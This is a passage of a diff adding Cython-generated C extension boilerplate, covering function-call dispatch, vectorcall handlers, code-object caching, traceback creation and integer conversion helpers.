(unlikely(size < 0)) return NULL; +#endif + if (likely(size == 1)) { + PyObject *result, *arg0; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + arg0 = PyTuple_GET_ITEM(arg, 0); + #else + arg0 = __Pyx_PySequence_ITEM(arg, 0); if (unlikely(!arg0)) return NULL; + #endif + result = (*meth)(self, arg0); + #if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(arg0); + #endif + return result; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, + "%.200S() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + py_name, size); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + f->m_ml->ml_name, size); +#endif + return NULL; + } + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + return NULL; + } +#if CYTHON_COMPILING_IN_LIMITED_API + py_name = __Pyx_CyFunction_get_name((__pyx_CyFunctionObject*)func, NULL); + if (!py_name) return NULL; + PyErr_Format(PyExc_TypeError, "%.200S() takes no keyword arguments", + py_name); + Py_DECREF(py_name); +#else + PyErr_Format(PyExc_TypeError, "%.200s() takes no keyword arguments", + f->m_ml->ml_name); +#endif + return NULL; +} +static CYTHON_INLINE PyObject *__Pyx_CyFunction_Call(PyObject *func, PyObject *arg, PyObject *kw) { + PyObject *self, *result; +#if CYTHON_COMPILING_IN_LIMITED_API + self = PyCFunction_GetSelf(((__pyx_CyFunctionObject*)func)->func); + if (unlikely(!self) && PyErr_Occurred()) return NULL; +#else + self = ((PyCFunctionObject*)func)->m_self; +#endif + result = __Pyx_CyFunction_CallMethod(func, self, arg, kw); + return result; +} +static PyObject *__Pyx_CyFunction_CallAsMethod(PyObject *func, PyObject *args, PyObject *kw) { + PyObject *result; + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *) func; +#if CYTHON_METH_FASTCALL + __pyx_vectorcallfunc vc = __Pyx_CyFunction_func_vectorcall(cyfunc); + if (vc) { +#if CYTHON_ASSUME_SAFE_MACROS + return __Pyx_PyVectorcall_FastCallDict(func, vc, &PyTuple_GET_ITEM(args, 0), (size_t)PyTuple_GET_SIZE(args), kw); +#else + (void) &__Pyx_PyVectorcall_FastCallDict; + return PyVectorcall_Call(func, args, kw); +#endif + } +#endif + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + Py_ssize_t argc; + PyObject *new_args; + PyObject *self; +#if CYTHON_ASSUME_SAFE_MACROS + argc = PyTuple_GET_SIZE(args); +#else + argc = PyTuple_Size(args); + if (unlikely(!argc) < 0) return NULL; +#endif + new_args = PyTuple_GetSlice(args, 1, argc); + if (unlikely(!new_args)) + return NULL; + self = PyTuple_GetItem(args, 0); + if (unlikely(!self)) { + Py_DECREF(new_args); +#if PY_MAJOR_VERSION > 2 + PyErr_Format(PyExc_TypeError, + "unbound method %.200S() needs an argument", + cyfunc->func_qualname); +#else + PyErr_SetString(PyExc_TypeError, + "unbound method needs an argument"); +#endif + return NULL; + } + result = __Pyx_CyFunction_CallMethod(func, self, new_args, kw); + Py_DECREF(new_args); + } else { + result = __Pyx_CyFunction_Call(func, args, kw); + } + return result; +} +#if CYTHON_METH_FASTCALL +static CYTHON_INLINE int __Pyx_CyFunction_Vectorcall_CheckArgs(__pyx_CyFunctionObject *cyfunc, Py_ssize_t nargs, PyObject *kwnames) +{ + int ret = 0; + if ((cyfunc->flags & __Pyx_CYFUNCTION_CCLASS) && !(cyfunc->flags & __Pyx_CYFUNCTION_STATICMETHOD)) { + if (unlikely(nargs < 1)) { + PyErr_Format(PyExc_TypeError, "%.200s() needs an argument", + ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + ret = 1; + } + if (unlikely(kwnames) && unlikely(PyTuple_GET_SIZE(kwnames))) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no keyword arguments", ((PyCFunctionObject*)cyfunc)->m_ml->ml_name); + return -1; + } + return ret; +} +static PyObject * __Pyx_CyFunction_Vectorcall_NOARGS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 0)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes no arguments (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, NULL); +} +static PyObject * __Pyx_CyFunction_Vectorcall_O(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, kwnames)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + if (unlikely(nargs != 1)) { + PyErr_Format(PyExc_TypeError, + "%.200s() takes exactly one argument (%" CYTHON_FORMAT_SSIZE_T "d given)", + def->ml_name, nargs); + return NULL; + } + return def->ml_meth(self, args[0]); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCFunctionFastWithKeywords)(void(*)(void))def->ml_meth)(self, args, nargs, kwnames); +} +static PyObject * __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD(PyObject *func, PyObject *const *args, size_t nargsf, PyObject *kwnames) +{ + __pyx_CyFunctionObject *cyfunc = (__pyx_CyFunctionObject *)func; + PyMethodDef* def = ((PyCFunctionObject*)cyfunc)->m_ml; + PyTypeObject *cls = (PyTypeObject *) __Pyx_CyFunction_GetClassObj(cyfunc); +#if CYTHON_BACKPORT_VECTORCALL + Py_ssize_t nargs = (Py_ssize_t)nargsf; +#else + Py_ssize_t nargs = PyVectorcall_NARGS(nargsf); +#endif + PyObject *self; + switch (__Pyx_CyFunction_Vectorcall_CheckArgs(cyfunc, nargs, NULL)) { + case 1: + self = args[0]; + args += 1; + nargs -= 1; + break; + case 0: + self = ((PyCFunctionObject*)cyfunc)->m_self; + break; + default: + return NULL; + } + return ((__Pyx_PyCMethod)(void(*)(void))def->ml_meth)(self, cls, args, (size_t)nargs, kwnames); +} +#endif +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_CyFunctionType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_CyFunction_dealloc}, + {Py_tp_repr, (void *)__Pyx_CyFunction_repr}, + {Py_tp_call, (void *)__Pyx_CyFunction_CallAsMethod}, + {Py_tp_traverse, (void *)__Pyx_CyFunction_traverse}, + {Py_tp_clear, (void *)__Pyx_CyFunction_clear}, + {Py_tp_methods, (void *)__pyx_CyFunction_methods}, + {Py_tp_members, (void *)__pyx_CyFunction_members}, + {Py_tp_getset, (void *)__pyx_CyFunction_getsets}, + {Py_tp_descr_get, (void *)__Pyx_PyMethod_New}, + {0, 0}, +}; +static PyType_Spec __pyx_CyFunctionType_spec = { + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if (defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL) + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + __pyx_CyFunctionType_slots +}; +#else +static PyTypeObject __pyx_CyFunctionType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "cython_function_or_method", + sizeof(__pyx_CyFunctionObject), + 0, + (destructor) __Pyx_CyFunction_dealloc, +#if !CYTHON_METH_FASTCALL + 0, +#elif CYTHON_BACKPORT_VECTORCALL + (printfunc)offsetof(__pyx_CyFunctionObject, func_vectorcall), +#else + offsetof(PyCFunctionObject, vectorcall), +#endif + 0, + 0, +#if PY_MAJOR_VERSION < 3 + 0, +#else + 0, +#endif + (reprfunc) __Pyx_CyFunction_repr, + 0, + 0, + 0, + 0, + __Pyx_CyFunction_CallAsMethod, + 0, + 0, + 0, + 0, +#ifdef Py_TPFLAGS_METHOD_DESCRIPTOR + Py_TPFLAGS_METHOD_DESCRIPTOR | +#endif +#if defined(_Py_TPFLAGS_HAVE_VECTORCALL) && CYTHON_METH_FASTCALL + _Py_TPFLAGS_HAVE_VECTORCALL | +#endif + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_BASETYPE, + 0, + (traverseproc) __Pyx_CyFunction_traverse, + (inquiry) __Pyx_CyFunction_clear, + 0, +#if PY_VERSION_HEX < 0x030500A0 + offsetof(__pyx_CyFunctionObject, func_weakreflist), +#else + offsetof(PyCFunctionObject, m_weakreflist), +#endif + 0, + 0, + __pyx_CyFunction_methods, + __pyx_CyFunction_members, + __pyx_CyFunction_getsets, + 0, + 0, + __Pyx_PyMethod_New, + 0, + offsetof(__pyx_CyFunctionObject, func_dict), + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_CyFunction_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_CyFunctionType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_CyFunctionType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_CyFunctionType = __Pyx_FetchCommonType(&__pyx_CyFunctionType_type); +#endif + if (unlikely(__pyx_CyFunctionType == NULL)) { + return -1; + } + return 0; +} +static CYTHON_INLINE void *__Pyx_CyFunction_InitDefaults(PyObject *func, size_t size, int pyobjects) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults = PyObject_Malloc(size); + if (unlikely(!m->defaults)) + return PyErr_NoMemory(); + memset(m->defaults, 0, size); + m->defaults_pyobjects = pyobjects; + m->defaults_size = size; + return m->defaults; +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsTuple(PyObject *func, PyObject *tuple) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_tuple = tuple; + Py_INCREF(tuple); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetDefaultsKwDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->defaults_kwdict = dict; + Py_INCREF(dict); +} +static CYTHON_INLINE void __Pyx_CyFunction_SetAnnotationsDict(PyObject *func, PyObject *dict) { + __pyx_CyFunctionObject *m = (__pyx_CyFunctionObject *) func; + m->func_annotations = dict; + Py_INCREF(dict); +} + +/* CythonFunction */ + static PyObject *__Pyx_CyFunction_New(PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { + PyObject *op = __Pyx_CyFunction_Init( + PyObject_GC_New(__pyx_CyFunctionObject, __pyx_CyFunctionType), + ml, flags, qualname, closure, module, globals, code + ); + if (likely(op)) { + PyObject_GC_Track(op); + } + return op; +} + +/* CLineInTraceback */ + #ifndef CYTHON_CLINE_IN_TRACEBACK +static int __Pyx_CLineForTraceback(PyThreadState *tstate, int c_line) { + PyObject *use_cline; + PyObject *ptype, *pvalue, *ptraceback; +#if CYTHON_COMPILING_IN_CPYTHON + PyObject **cython_runtime_dict; +#endif + CYTHON_MAYBE_UNUSED_VAR(tstate); + if (unlikely(!__pyx_cython_runtime)) { + return c_line; + } + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); +#if CYTHON_COMPILING_IN_CPYTHON + cython_runtime_dict = _PyObject_GetDictPtr(__pyx_cython_runtime); + if (likely(cython_runtime_dict)) { + __PYX_PY_DICT_LOOKUP_IF_MODIFIED( + use_cline, *cython_runtime_dict, + __Pyx_PyDict_GetItemStr(*cython_runtime_dict, __pyx_n_s_cline_in_traceback)) + } else +#endif + { + PyObject *use_cline_obj = __Pyx_PyObject_GetAttrStrNoError(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback); + if (use_cline_obj) { + use_cline = PyObject_Not(use_cline_obj) ? Py_False : Py_True; + Py_DECREF(use_cline_obj); + } else { + PyErr_Clear(); + use_cline = NULL; + } + } + if (!use_cline) { + c_line = 0; + (void) PyObject_SetAttr(__pyx_cython_runtime, __pyx_n_s_cline_in_traceback, Py_False); + } + else if (use_cline == Py_False || (use_cline != Py_True && PyObject_Not(use_cline) != 0)) { + c_line = 0; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + return c_line; +} +#endif + +/* CodeObjectCache */ + #if !CYTHON_COMPILING_IN_LIMITED_API +static int __pyx_bisect_code_objects(__Pyx_CodeObjectCacheEntry* entries, int count, int code_line) { + int start = 0, mid = 0, end = count - 1; + if (end >= 0 && code_line > entries[end].code_line) { + return count; + } + while (start < end) { + mid = start + (end - start) / 2; + if (code_line < entries[mid].code_line) { + end = mid; + } else if (code_line > entries[mid].code_line) { + start = mid + 1; + } else { + return mid; + } + } + if (code_line <= entries[mid].code_line) { + return mid; + } else { + return mid + 1; + } +} +static PyCodeObject *__pyx_find_code_object(int code_line) { + PyCodeObject* code_object; + int pos; + if (unlikely(!code_line) || unlikely(!__pyx_code_cache.entries)) { + return NULL; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if (unlikely(pos >= __pyx_code_cache.count) || unlikely(__pyx_code_cache.entries[pos].code_line != code_line)) { + return NULL; + } + code_object = __pyx_code_cache.entries[pos].code_object; + Py_INCREF(code_object); + return code_object; +} +static void __pyx_insert_code_object(int code_line, PyCodeObject* code_object) { + int pos, i; + __Pyx_CodeObjectCacheEntry* entries = __pyx_code_cache.entries; + if (unlikely(!code_line)) { + return; + } + if (unlikely(!entries)) { + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Malloc(64*sizeof(__Pyx_CodeObjectCacheEntry)); + if (likely(entries)) { + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = 64; + __pyx_code_cache.count = 1; + entries[0].code_line = code_line; + entries[0].code_object = code_object; + Py_INCREF(code_object); + } + return; + } + pos = __pyx_bisect_code_objects(__pyx_code_cache.entries, __pyx_code_cache.count, code_line); + if ((pos < __pyx_code_cache.count) && unlikely(__pyx_code_cache.entries[pos].code_line == code_line)) { + PyCodeObject* tmp = entries[pos].code_object; + entries[pos].code_object = code_object; + Py_DECREF(tmp); + return; + } + if (__pyx_code_cache.count == __pyx_code_cache.max_count) { + int new_max = __pyx_code_cache.max_count + 64; + entries = (__Pyx_CodeObjectCacheEntry*)PyMem_Realloc( + __pyx_code_cache.entries, ((size_t)new_max) * sizeof(__Pyx_CodeObjectCacheEntry)); + if (unlikely(!entries)) { + return; + } + __pyx_code_cache.entries = entries; + __pyx_code_cache.max_count = new_max; + } + for (i=__pyx_code_cache.count; i>pos; i--) { + entries[i] = entries[i-1]; + } + entries[pos].code_line = code_line; + entries[pos].code_object = code_object; + __pyx_code_cache.count++; + Py_INCREF(code_object); +} +#endif + +/* AddTraceback */ + #include "compile.h" +#include "frameobject.h" +#include "traceback.h" +#if PY_VERSION_HEX >= 0x030b00a6 && !CYTHON_COMPILING_IN_LIMITED_API + #ifndef Py_BUILD_CORE + #define Py_BUILD_CORE 1 + #endif + #include "internal/pycore_frame.h" +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject *__Pyx_PyCode_Replace_For_AddTraceback(PyObject *code, PyObject *scratch_dict, + PyObject *firstlineno, PyObject *name) { + PyObject *replace = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_firstlineno", firstlineno))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "co_name", name))) return NULL; + replace = PyObject_GetAttrString(code, "replace"); + if (likely(replace)) { + PyObject *result; + result = PyObject_Call(replace, __pyx_empty_tuple, scratch_dict); + Py_DECREF(replace); + return result; + } + PyErr_Clear(); + #if __PYX_LIMITED_VERSION_HEX < 0x030780000 + { + PyObject *compiled = NULL, *result = NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "code", code))) return NULL; + if (unlikely(PyDict_SetItemString(scratch_dict, "type", (PyObject*)(&PyType_Type)))) return NULL; + compiled = Py_CompileString( + "out = type(code)(\n" + " code.co_argcount, code.co_kwonlyargcount, code.co_nlocals, code.co_stacksize,\n" + " code.co_flags, code.co_code, code.co_consts, code.co_names,\n" + " code.co_varnames, code.co_filename, co_name, co_firstlineno,\n" + " code.co_lnotab)\n", "", Py_file_input); + if (!compiled) return NULL; + result = PyEval_EvalCode(compiled, scratch_dict, scratch_dict); + Py_DECREF(compiled); + if (!result) PyErr_Print(); + Py_DECREF(result); + result = PyDict_GetItemString(scratch_dict, "out"); + if (result) Py_INCREF(result); + return result; + } + #else + return NULL; + #endif +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyObject *code_object = NULL, *py_py_line = NULL, *py_funcname = NULL, *dict = NULL; + PyObject *replace = NULL, *getframe = NULL, *frame = NULL; + PyObject *exc_type, *exc_value, *exc_traceback; + int success = 0; + if (c_line) { + (void) __pyx_cfilenm; + (void) __Pyx_CLineForTraceback(__Pyx_PyThreadState_Current, c_line); + } + PyErr_Fetch(&exc_type, &exc_value, &exc_traceback); + code_object = Py_CompileString("_getframe()", filename, Py_eval_input); + if (unlikely(!code_object)) goto bad; + py_py_line = PyLong_FromLong(py_line); + if (unlikely(!py_py_line)) goto bad; + py_funcname = PyUnicode_FromString(funcname); + if (unlikely(!py_funcname)) goto bad; + dict = PyDict_New(); + if (unlikely(!dict)) goto bad; + { + PyObject *old_code_object = code_object; + code_object = __Pyx_PyCode_Replace_For_AddTraceback(code_object, dict, py_py_line, py_funcname); + Py_DECREF(old_code_object); + } + if (unlikely(!code_object)) goto bad; + getframe = PySys_GetObject("_getframe"); + if (unlikely(!getframe)) goto bad; + if (unlikely(PyDict_SetItemString(dict, "_getframe", getframe))) goto bad; + frame = PyEval_EvalCode(code_object, dict, dict); + if (unlikely(!frame) || frame == Py_None) goto bad; + success = 1; + bad: + PyErr_Restore(exc_type, exc_value, exc_traceback); + Py_XDECREF(code_object); + Py_XDECREF(py_py_line); + Py_XDECREF(py_funcname); + Py_XDECREF(dict); + Py_XDECREF(replace); + if (success) { + PyTraceBack_Here( + (struct _frame*)frame); + } + Py_XDECREF(frame); +} +#else +static PyCodeObject* __Pyx_CreateCodeObjectForTraceback( + const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = NULL; + PyObject *py_funcname = NULL; + #if PY_MAJOR_VERSION < 3 + PyObject *py_srcfile = NULL; + py_srcfile = PyString_FromString(filename); + if (!py_srcfile) goto bad; + #endif + if (c_line) { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + #else + py_funcname = PyUnicode_FromFormat( "%s (%s:%d)", funcname, __pyx_cfilenm, c_line); + if (!py_funcname) goto bad; + funcname = PyUnicode_AsUTF8(py_funcname); + if (!funcname) goto bad; + #endif + } + else { + #if PY_MAJOR_VERSION < 3 + py_funcname = PyString_FromString(funcname); + if (!py_funcname) goto bad; + #endif + } + #if PY_MAJOR_VERSION < 3 + py_code = __Pyx_PyCode_New( + 0, + 0, + 0, + 0, + 0, + 0, + __pyx_empty_bytes, /*PyObject *code,*/ + __pyx_empty_tuple, /*PyObject *consts,*/ + __pyx_empty_tuple, /*PyObject *names,*/ + __pyx_empty_tuple, /*PyObject *varnames,*/ + __pyx_empty_tuple, /*PyObject *freevars,*/ + __pyx_empty_tuple, /*PyObject *cellvars,*/ + py_srcfile, /*PyObject *filename,*/ + py_funcname, /*PyObject *name,*/ + py_line, + __pyx_empty_bytes /*PyObject *lnotab*/ + ); + Py_DECREF(py_srcfile); + #else + py_code = PyCode_NewEmpty(filename, funcname, py_line); + #endif + Py_XDECREF(py_funcname); + return py_code; +bad: + Py_XDECREF(py_funcname); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_srcfile); + #endif + return NULL; +} +static void __Pyx_AddTraceback(const char *funcname, int c_line, + int py_line, const char *filename) { + PyCodeObject *py_code = 0; + PyFrameObject *py_frame = 0; + PyThreadState *tstate = __Pyx_PyThreadState_Current; + PyObject *ptype, *pvalue, *ptraceback; + if (c_line) { + c_line = __Pyx_CLineForTraceback(tstate, c_line); + } + py_code = __pyx_find_code_object(c_line ? -c_line : py_line); + if (!py_code) { + __Pyx_ErrFetchInState(tstate, &ptype, &pvalue, &ptraceback); + py_code = __Pyx_CreateCodeObjectForTraceback( + funcname, c_line, py_line, filename); + if (!py_code) { + /* If the code object creation fails, then we should clear the + fetched exception references and propagate the new exception */ + Py_XDECREF(ptype); + Py_XDECREF(pvalue); + Py_XDECREF(ptraceback); + goto bad; + } + __Pyx_ErrRestoreInState(tstate, ptype, pvalue, ptraceback); + __pyx_insert_code_object(c_line ? -c_line : py_line, py_code); + } + py_frame = PyFrame_New( + tstate, /*PyThreadState *tstate,*/ + py_code, /*PyCodeObject *code,*/ + __pyx_d, /*PyObject *globals,*/ + 0 /*PyObject *locals*/ + ); + if (!py_frame) goto bad; + __Pyx_PyFrame_SetLineNumber(py_frame, py_line); + PyTraceBack_Here(py_frame); +bad: + Py_XDECREF(py_code); + Py_XDECREF(py_frame); +} +#endif + +/* CIntToPy */ + static CYTHON_INLINE PyObject* __Pyx_PyInt_From_long(long value) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; + if (is_unsigned) { + if (sizeof(long) < sizeof(long)) { + return PyInt_FromLong((long) value); + } else if (sizeof(long) <= sizeof(unsigned long)) { + return PyLong_FromUnsignedLong((unsigned long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(unsigned PY_LONG_LONG)) { + return PyLong_FromUnsignedLongLong((unsigned PY_LONG_LONG) value); +#endif + } + } else { + if (sizeof(long) <= sizeof(long)) { + return PyInt_FromLong((long) value); +#ifdef HAVE_LONG_LONG + } else if (sizeof(long) <= sizeof(PY_LONG_LONG)) { + return PyLong_FromLongLong((PY_LONG_LONG) value); +#endif + } + } + { + unsigned char *bytes = (unsigned char *)&value; +#if !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX >= 0x030d00A4 + if (is_unsigned) { + return PyLong_FromUnsignedNativeBytes(bytes, sizeof(value), -1); + } else { + return PyLong_FromNativeBytes(bytes, sizeof(value), -1); + } +#elif !CYTHON_COMPILING_IN_LIMITED_API && PY_VERSION_HEX < 0x030d0000 + int one = 1; int little = (int)*(unsigned char *)&one; + return _PyLong_FromByteArray(bytes, sizeof(long), + little, !is_unsigned); +#else + int one = 1; int little = (int)*(unsigned char *)&one; + PyObject *from_bytes, *result = NULL; + PyObject *py_bytes = NULL, *arg_tuple = NULL, *kwds = NULL, *order_str = NULL; + from_bytes = PyObject_GetAttrString((PyObject*)&PyLong_Type, "from_bytes"); + if (!from_bytes) return NULL; + py_bytes = PyBytes_FromStringAndSize((char*)bytes, sizeof(long)); + if (!py_bytes) goto limited_bad; + order_str = PyUnicode_FromString(little ? "little" : "big"); + if (!order_str) goto limited_bad; + arg_tuple = PyTuple_Pack(2, py_bytes, order_str); + if (!arg_tuple) goto limited_bad; + if (!is_unsigned) { + kwds = PyDict_New(); + if (!kwds) goto limited_bad; + if (PyDict_SetItemString(kwds, "signed", __Pyx_NewRef(Py_True))) goto limited_bad; + } + result = PyObject_Call(from_bytes, arg_tuple, kwds); + limited_bad: + Py_XDECREF(kwds); + Py_XDECREF(arg_tuple); + Py_XDECREF(order_str); + Py_XDECREF(py_bytes); + Py_XDECREF(from_bytes); + return result; +#endif + } +} + +/* FormatTypeName */ + #if CYTHON_COMPILING_IN_LIMITED_API +static __Pyx_TypeName +__Pyx_PyType_GetName(PyTypeObject* tp) +{ + PyObject *name = __Pyx_PyObject_GetAttrStr((PyObject *)tp, + __pyx_n_s_name); + if (unlikely(name == NULL) || unlikely(!PyUnicode_Check(name))) { + PyErr_Clear(); + Py_XDECREF(name); + name = __Pyx_NewRef(__pyx_n_s__58); + } + return name; +} +#endif + +/* CIntFromPyVerify */ + #define __PYX_VERIFY_RETURN_INT(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 0) +#define __PYX_VERIFY_RETURN_INT_EXC(target_type, func_type, func_value)\ + __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, 1) +#define __PYX__VERIFY_RETURN_INT(target_type, func_type, func_value, exc)\ + {\ + func_type value = func_value;\ + if (sizeof(target_type) < sizeof(func_type)) {\ + if (unlikely(value != (func_type) (target_type) value)) {\ + func_type zero = 0;\ + if (exc && unlikely(value == (func_type)-1 && PyErr_Occurred()))\ + return (target_type) -1;\ + if (is_unsigned && unlikely(value < zero))\ + goto raise_neg_overflow;\ + else\ + goto raise_overflow;\ + }\ + }\ + return (target_type) value;\ + } + +/* CIntFromPy */ + static CYTHON_INLINE long __Pyx_PyInt_As_long(PyObject *x) { +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic push +#pragma GCC diagnostic ignored "-Wconversion" +#endif + const long neg_one = (long) -1, const_zero = (long) 0; +#ifdef __Pyx_HAS_GCC_DIAGNOSTIC +#pragma GCC diagnostic pop +#endif + const int is_unsigned = neg_one > const_zero; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x))) { + if ((sizeof(long) < sizeof(long))) { + __PYX_VERIFY_RETURN_INT(long, long, PyInt_AS_LONG(x)) + } else { + long val = PyInt_AS_LONG(x); + if (is_unsigned && unlikely(val < 0)) { + goto raise_neg_overflow; + } + return (long) val; + } + } +#endif + if (unlikely(!PyLong_Check(x))) { + long val; + PyObject *tmp = __Pyx_PyNumber_IntOrLong(x); + if (!tmp) return (long) -1; + val = __Pyx_PyInt_As_long(tmp); + Py_DECREF(tmp); + return val; + } + if (is_unsigned) { +#if CYTHON_USE_PYLONG_INTERNALS + if (unlikely(__Pyx_PyLong_IsNeg(x))) { + goto raise_neg_overflow; + } else if (__Pyx_PyLong_IsCompact(x)) { + __PYX_VERIFY_RETURN_INT(long, __Pyx_compact_upylong, __Pyx_PyLong_CompactValueUnsigned(x)) + } else { + const digit* digits = __Pyx_PyLong_Digits(x); + assert(__Pyx_PyLong_DigitCount(x) > 1); + switch (__Pyx_PyLong_DigitCount(x)) { + case 2: + if ((8 * sizeof(long) > 1 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 2 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((unsigned long)digits[1]) << PyLong_SHIFT) | (unsigned long)digits[0]))) + } else if ((8 * sizeof(long) >= 2 * PyLong_SHIFT)) { + return (long) (((((long)digits[1]) << PyLong_SHIFT) | (long)digits[0])); + } + } + break; + case 3: + if ((8 * sizeof(long) > 2 * PyLong_SHIFT)) { + if ((8 * sizeof(unsigned long) > 3 * PyLong_SHIFT)) { + __PYX_VERIFY_RETURN_INT(long, unsigned long, (((((((unsigned 